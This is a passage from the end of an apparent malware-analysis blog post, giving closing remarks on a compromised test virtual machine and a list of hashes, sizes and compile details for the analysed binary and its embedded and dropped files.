During the short period in which the compromised virtual machine was left online, no return attacker activity occurred, so it’s undetermined what would transpire in the long term if this were an actual compromised online host.

Stay tuned for a follow-up post once I do some deeper dive analysis of this binary. For now, I’ll leave you with some hashes. Enjoy.

File Identifiers

File: b41149.exe Size: 1343488 MD5: f20b42fc2043bbc4dcd216f94adf6dd8 SHA1: 4d597d27e8a0b71276aee0dcd8c5fe5c2db094b0 SHA256: b41149a0142d04ac294e364131aa7d8b9cb1fd921e70f1ed263d9b5431c240a5 ssdeep: 6144:hEnCDKEJkKspH02n/M+WJ/04KLuqju11M+HDKsR:h9DdspH02004fqjujM+HGs Compile Time: 4F605417 (Wed, 14 March 2012 08:17:27 UTC) Compile Version: Microsoft Visual Basic 5.0 / 6.0 Internal File Name: Microsft.exe

File: embedded_ascii-encoded_bianry.exe (with fixed PE Header and “filler” byte blocks removed) Size: 277869 MD5: a47d9f42a1a1c69bc3e1537fa9fa9c92 SHA1: b2d588a96e29b0128e9691ffdae0db162ea8db2b SHA256: c17cb986ccd5b460757b8dbff1d7c87cd65157cf8203e309527a3e0d26db07e3 ssdeep: 6144:8k4qmyY+DAZCgIqiEM3OQFUrsyvfEUKMnqVZ:P9wQuCvjdordEGn6

File: c:\WINDOWS\system32\mony\System.exe (dropped by embedded Unicode encoded binary) Size: 277869 MD5: a47d9f42a1a1c69bc3e1537fa9fa9c92 SHA1: b2d588a96e29b0128e9691ffdae0db162ea8db2b SHA256: c17cb986ccd5b460757b8dbff1d7c87cd65157cf8203e309527a3e0d26db07e3 ssdeep: 6144:8k4qmyY+DAZCgIqiEM3OQFUrsyvfEUKMnqVZ:P9wQuCvjdordEGn6

File: embedded DLL in XX–XX–XX.txt Size: 120320 MD5: c1bc1dfc1edf85e663718f38aac79fff SHA1: 9d01c6d2b9512720ea7723e7dec5e3f6029aee3d SHA256: 5468be638be5902eb3d30ce8b01b1ac34b1ee26b97711f6bca95a03de5b0db24 ssdeep: 3072:dk7/I/KbMm4oIP9zaj1WyWBiyhdYKC0iwsUukhh3a:dkDuK4m4jWjv+nCksfQB

File: embedded DLL in XX–XX–XX.txt (unpacked) Size: 329728 MD5: f920cee005589f150856d311b4e5d363 SHA1: 2589fa5536331a53e9a264dd630af2bdb6f6fc00 SHA256: 1fd16ca095f1557cc8848b36633d4c570b10a2be26ec89d8a339c63c150d3b44 ssdeep: 6144:iQoh1rcU8kHOEkzsz+F97pk1nJJn7TB82R:j2RbHOEkzsaXmxn7T

Viewing all 698 articles
Browse latest View live